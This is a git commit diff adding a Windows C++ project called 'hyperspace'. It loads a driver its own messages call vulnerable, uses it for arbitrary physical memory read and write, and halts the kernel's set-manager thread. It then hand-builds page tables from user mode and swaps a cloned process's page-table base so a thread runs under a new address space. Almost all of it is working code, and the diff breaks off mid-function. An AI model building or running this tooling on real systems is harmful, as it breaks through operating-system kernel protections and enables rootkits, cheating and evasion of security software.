parent
084224d395
commit
0a6b262243
@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 nasa-tech
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
@ -0,0 +1,59 @@
|
|||||||
|
#include "hyper_ctx.hpp"
|
||||||
|
|
||||||
|
namespace hyperspace
|
||||||
|
{
|
||||||
|
hyper_ctx::hyper_ctx(ptm::ptm_ctx* target_ctx)
|
||||||
|
:
|
||||||
|
target_ctx(target_ctx),
|
||||||
|
v_ctx(target_ctx->v_ctx)
|
||||||
|
{
|
||||||
|
orig_context.first = v_ctx->get_virtual(
|
||||||
|
reinterpret_cast<std::uintptr_t>(target_ctx->dirbase));
|
||||||
|
|
||||||
|
orig_context.second =
|
||||||
|
reinterpret_cast<std::uintptr_t>(target_ctx->dirbase);
|
||||||
|
|
||||||
|
// make a new context 1:1 with the target process...
|
||||||
|
hyperspace_context.first = v_ctx->kalloc(PAGE_4KB);
|
||||||
|
hyperspace_context.second =
|
||||||
|
v_ctx->get_physical(this->hyperspace_context.first);
|
||||||
|
|
||||||
|
v_ctx->wkm(reinterpret_cast<void*>(this->hyperspace_context.first),
|
||||||
|
reinterpret_cast<void*>(this->orig_context.first), PAGE_4KB);
|
||||||
|
|
||||||
|
// make a new kprocess 1:1 with the target process...
|
||||||
|
orig_peproc = v_ctx->get_peprocess(target_ctx->pid);
|
||||||
|
clone_peproc = reinterpret_cast<PEPROCESS>(v_ctx->kalloc(PAGE_4KB));
|
||||||
|
v_ctx->wkm(clone_peproc, orig_peproc, PAGE_4KB);
|
||||||
|
|
||||||
|
// 1: kd > dt !_KPROCESS
|
||||||
|
// nt!_KPROCESS
|
||||||
|
// + 0x000 Header : _DISPATCHER_HEADER
|
||||||
|
// + 0x018 ProfileListHead : _LIST_ENTRY
|
||||||
|
// + 0x028 DirectoryTableBase : Uint8B <=== swap this with new pml4...
|
||||||
|
const auto dirbase_ptr =
|
||||||
|
reinterpret_cast<std::uintptr_t>(clone_peproc) + KPROCESS_DIRBASE_OFFSET;
|
||||||
|
|
||||||
|
v_ctx->wkm<std::uintptr_t>(dirbase_ptr, hyperspace_context.second);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto hyper_ctx::hyper_jmp(std::uint32_t tid) -> void
|
||||||
|
{
|
||||||
|
const auto current_thread =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
v_ctx->get_current_thread());
|
||||||
|
|
||||||
|
v_ctx->wkm<PEPROCESS>(
|
||||||
|
current_thread + KTHREAD_PKPROCESS_OFFSET, clone_peproc);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto hyper_ctx::hyper_ret(std::uint32_t tid) -> void
|
||||||
|
{
|
||||||
|
const auto current_thread =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
v_ctx->get_current_thread());
|
||||||
|
|
||||||
|
v_ctx->wkm<PEPROCESS>(
|
||||||
|
current_thread + KTHREAD_PKPROCESS_OFFSET, orig_peproc);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
#include "../ptm_ctx/ptm_ctx.hpp"
|
||||||
|
|
||||||
|
// not sure how far back this goes but i think if you are
|
||||||
|
// on windows 10 you should be alright...
|
||||||
|
#define KTHREAD_PKPROCESS_OFFSET 0xB8
|
||||||
|
#define KPROCESS_DIRBASE_OFFSET 0x28
|
||||||
|
|
||||||
|
namespace hyperspace
|
||||||
|
{
|
||||||
|
class hyper_ctx
|
||||||
|
{
|
||||||
|
using virt_addr_t = std::uintptr_t;
|
||||||
|
using phys_addr_t = std::uintptr_t;
|
||||||
|
|
||||||
|
vdm::vdm_ctx* v_ctx;
|
||||||
|
ptm::ptm_ctx* target_ctx;
|
||||||
|
std::pair<virt_addr_t, phys_addr_t> hyperspace_context, orig_context;
|
||||||
|
PEPROCESS clone_peproc, orig_peproc;
|
||||||
|
|
||||||
|
public:
|
||||||
|
explicit hyper_ctx(ptm::ptm_ctx* target_ctx);
|
||||||
|
auto hyper_jmp(std::uint32_t tid = GetCurrentThreadId()) -> void;
|
||||||
|
auto hyper_ret(std::uint32_t tid = GetCurrentThreadId()) -> void;
|
||||||
|
};
|
||||||
|
}
|
@ -0,0 +1,168 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{0d48757a-f5a2-4dca-a5a1-5a18a4e9afbc}</ProjectGuid>
|
||||||
|
<RootNamespace>nasatables</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
<ProjectName>hyperspace</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="hyper_ctx\hyper_ctx.cpp" />
|
||||||
|
<ClCompile Include="main.cpp" />
|
||||||
|
<ClCompile Include="ptm_ctx\ptm_ctx.cpp" />
|
||||||
|
<ClCompile Include="set_mgr\set_mgr.cpp" />
|
||||||
|
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="hyper_ctx\hyper_ctx.hpp" />
|
||||||
|
<ClInclude Include="ptm_ctx\ptm_ctx.hpp" />
|
||||||
|
<ClInclude Include="set_mgr\set_mgr.hpp" />
|
||||||
|
<ClInclude Include="util\loadup.hpp" />
|
||||||
|
<ClInclude Include="util\nt.hpp" />
|
||||||
|
<ClInclude Include="util\util.hpp" />
|
||||||
|
<ClInclude Include="vdm\raw_driver.hpp" />
|
||||||
|
<ClInclude Include="vdm\vdm.hpp" />
|
||||||
|
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,73 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files\util">
|
||||||
|
<UniqueIdentifier>{669c9412-63ea-4a6d-8f8e-b51706f33769}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files\vdm">
|
||||||
|
<UniqueIdentifier>{96d7e756-9d5b-4c3c-b594-aff6db3f2d51}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="resources">
|
||||||
|
<UniqueIdentifier>{e1778cd8-6b3a-43dc-a95c-7b6f0896373e}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="set_mgr\set_mgr.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ptm_ctx\ptm_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hyper_ctx\hyper_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="util\nt.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util\util.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm\raw_driver.hpp">
|
||||||
|
<Filter>Header Files\vdm</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm\vdm.hpp">
|
||||||
|
<Filter>Header Files\vdm</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util\loadup.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="set_mgr\set_mgr.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ptm_ctx\ptm_ctx.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="hyper_ctx\hyper_ctx.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc">
|
||||||
|
<Filter>resources</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
After Width: | Height: | Size: 60 KiB |
@ -0,0 +1,3 @@
|
|||||||
|
// Icon Resource Definition
|
||||||
|
#define MAIN_ICON 102
|
||||||
|
MAIN_ICON ICON "icon.ico"
|
@ -0,0 +1,64 @@
|
|||||||
|
#include "ptm_ctx/ptm_ctx.hpp"
|
||||||
|
#include "set_mgr/set_mgr.hpp"
|
||||||
|
#include "hyper_ctx/hyper_ctx.hpp"
|
||||||
|
|
||||||
|
int __cdecl main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
const auto [drv_handle, drv_key] = vdm::load_drv();
|
||||||
|
if (!drv_handle || drv_key.empty())
|
||||||
|
{
|
||||||
|
std::printf("[!] unable to load vulnerable driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
vdm::read_phys_t _read_phys =
|
||||||
|
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||||
|
{
|
||||||
|
return vdm::read_phys(addr, buffer, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
vdm::write_phys_t _write_phys =
|
||||||
|
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||||
|
{
|
||||||
|
return vdm::write_phys(addr, buffer, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
vdm::vdm_ctx vdm(_read_phys, _write_phys);
|
||||||
|
ptm::ptm_ctx my_proc(&vdm);
|
||||||
|
|
||||||
|
const auto set_mgr_pethread =
|
||||||
|
set_mgr::get_setmgr_pethread(vdm);
|
||||||
|
|
||||||
|
const auto result =
|
||||||
|
set_mgr::stop_setmgr(vdm, set_mgr_pethread);
|
||||||
|
|
||||||
|
std::printf("[+] cr3 -> 0x%p\n", vdm.readcr3());
|
||||||
|
if (!vdm::unload_drv(drv_handle, drv_key))
|
||||||
|
{
|
||||||
|
std::printf("[!] unable to unload vulnerable driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
_read_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
|
||||||
|
{
|
||||||
|
return my_proc.read_phys(buffer, addr, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
_write_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
|
||||||
|
{
|
||||||
|
return my_proc.write_phys(buffer, addr, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
vdm.set_read(_read_phys);
|
||||||
|
vdm.set_write(_write_phys);
|
||||||
|
|
||||||
|
hyperspace::hyper_ctx hyperspace(&my_proc);
|
||||||
|
hyperspace.hyper_jmp();
|
||||||
|
{
|
||||||
|
for (auto idx = 0u; idx < 10; ++idx)
|
||||||
|
std::printf("[+] hyperspace cr3 -> 0x%p\n", vdm.readcr3());
|
||||||
|
}
|
||||||
|
hyperspace.hyper_ret();
|
||||||
|
std::printf("[+] press any key to close...\n");
|
||||||
|
std::getchar();
|
||||||
|
}
|
@ -0,0 +1,515 @@
|
|||||||
|
#include "ptm_ctx.hpp"
|
||||||
|
|
||||||
|
namespace ptm
|
||||||
|
{
|
||||||
|
ptm_ctx::ptm_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid)
|
||||||
|
:
|
||||||
|
v_ctx(v_ctx),
|
||||||
|
dirbase(get_dirbase(*v_ctx, pid)),
|
||||||
|
pid(pid)
|
||||||
|
{
|
||||||
|
// find an empty pml4e inside of current processes pml4...
|
||||||
|
const auto current_pml4 =
|
||||||
|
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(
|
||||||
|
get_dirbase(*v_ctx, GetCurrentProcessId())));
|
||||||
|
|
||||||
|
for (auto idx = 100u; idx > 0u; --idx)
|
||||||
|
{
|
||||||
|
if (!v_ctx->rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).present)
|
||||||
|
{
|
||||||
|
this->pml4e_index = idx;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// allocate a pdpt
|
||||||
|
this->new_pdpt.second =
|
||||||
|
reinterpret_cast<ppdpte>(
|
||||||
|
VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
PAGE_4KB,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
PAGE_IN(this->new_pdpt.second, PAGE_4KB);
|
||||||
|
// get page table entries for new pdpt
|
||||||
|
pt_entries new_pdpt_entries;
|
||||||
|
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
|
||||||
|
|
||||||
|
this->new_pdpt.first =
|
||||||
|
reinterpret_cast<ppdpte>(
|
||||||
|
new_pdpt_entries.pt.second.pfn << 12);
|
||||||
|
|
||||||
|
// make a new pml4e that points to our new pdpt.
|
||||||
|
new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
|
||||||
|
|
||||||
|
// set the pml4e to point to the new pdpt
|
||||||
|
set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) +
|
||||||
|
this->pml4e_index, new_pdpt_entries.pml4.second, true);
|
||||||
|
|
||||||
|
// make a new pd
|
||||||
|
this->new_pd.second =
|
||||||
|
reinterpret_cast<ppde>(
|
||||||
|
VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
PAGE_4KB,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
PAGE_IN(this->new_pd.second, PAGE_4KB);
|
||||||
|
|
||||||
|
// get paging table entries for pd
|
||||||
|
pt_entries new_pd_entries;
|
||||||
|
hyperspace_entries(new_pd_entries, this->new_pd.second);
|
||||||
|
|
||||||
|
this->new_pd.first =
|
||||||
|
reinterpret_cast<ppde>(
|
||||||
|
new_pd_entries.pt.second.pfn << 12);
|
||||||
|
|
||||||
|
// make a new pt
|
||||||
|
this->new_pt.second =
|
||||||
|
reinterpret_cast<ppte>(
|
||||||
|
VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
PAGE_4KB,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
PAGE_IN(this->new_pt.second, PAGE_4KB);
|
||||||
|
|
||||||
|
// get paging table entries for pt
|
||||||
|
pt_entries new_pt_entries;
|
||||||
|
hyperspace_entries(new_pt_entries, this->new_pt.second);
|
||||||
|
|
||||||
|
this->new_pt.first =
|
||||||
|
reinterpret_cast<ppte>(
|
||||||
|
new_pt_entries.pt.second.pfn << 12);
|
||||||
|
}
|
||||||
|
|
||||||
|
ptm_ctx::~ptm_ctx()
|
||||||
|
{
|
||||||
|
const auto pml4 =
|
||||||
|
reinterpret_cast<ppml4e>(
|
||||||
|
set_page(dirbase))[pml4e_index] = pml4e{ NULL };
|
||||||
|
}
|
||||||
|
|
||||||
|
void* ptm_ctx::set_page(void* addr)
|
||||||
|
{
|
||||||
|
++pte_index;
|
||||||
|
if (pte_index >= 511)
|
||||||
|
{
|
||||||
|
++pde_index;
|
||||||
|
pte_index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pde_index >= 511)
|
||||||
|
{
|
||||||
|
++pdpte_index;
|
||||||
|
pde_index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pdpte_index >= 511)
|
||||||
|
pdpte_index = 0;
|
||||||
|
|
||||||
|
pdpte new_pdpte = { NULL };
|
||||||
|
new_pdpte.present = true;
|
||||||
|
new_pdpte.writeable = true;
|
||||||
|
new_pdpte.pfn = reinterpret_cast<std::uintptr_t>(new_pd.first) >> 12;
|
||||||
|
new_pdpte.user_supervisor = true;
|
||||||
|
|
||||||
|
// set pdpte entry
|
||||||
|
*reinterpret_cast<pdpte*>(new_pdpt.second + pdpte_index) = new_pdpte;
|
||||||
|
|
||||||
|
pde new_pde = { NULL };
|
||||||
|
new_pde.present = true;
|
||||||
|
new_pde.writeable = true;
|
||||||
|
new_pde.pfn = reinterpret_cast<std::uintptr_t>(new_pt.first) >> 12;
|
||||||
|
new_pde.user_supervisor = true;
|
||||||
|
|
||||||
|
// set pde entry
|
||||||
|
*reinterpret_cast<pde*>(new_pd.second + pde_index) = new_pde;
|
||||||
|
|
||||||
|
pte new_pte = { NULL };
|
||||||
|
new_pte.present = true;
|
||||||
|
new_pte.writeable = true;
|
||||||
|
new_pte.pfn = reinterpret_cast<std::uintptr_t>(addr) >> 12;
|
||||||
|
new_pte.user_supervisor = true;
|
||||||
|
|
||||||
|
// set pte entry
|
||||||
|
*reinterpret_cast<pte*>(new_pt.second + pte_index) = new_pte;
|
||||||
|
|
||||||
|
// set page offset
|
||||||
|
this->page_offset = virt_addr_t{ addr }.offset;
|
||||||
|
return get_page();
|
||||||
|
}
|
||||||
|
|
||||||
|
void* ptm_ctx::get_page() const
|
||||||
|
{
|
||||||
|
// builds a new address given the state of all table indexes
|
||||||
|
virt_addr_t new_addr;
|
||||||
|
new_addr.pml4_index = this->pml4e_index;
|
||||||
|
new_addr.pdpt_index = this->pdpte_index;
|
||||||
|
new_addr.pd_index = this->pde_index;
|
||||||
|
new_addr.pt_index = this->pte_index;
|
||||||
|
new_addr.offset = this->page_offset;
|
||||||
|
|
||||||
|
// handle TLB issues, the TLB might need to be flushed for this entry...
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
|
||||||
|
return new_addr.value;
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
// try again to access the page...
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
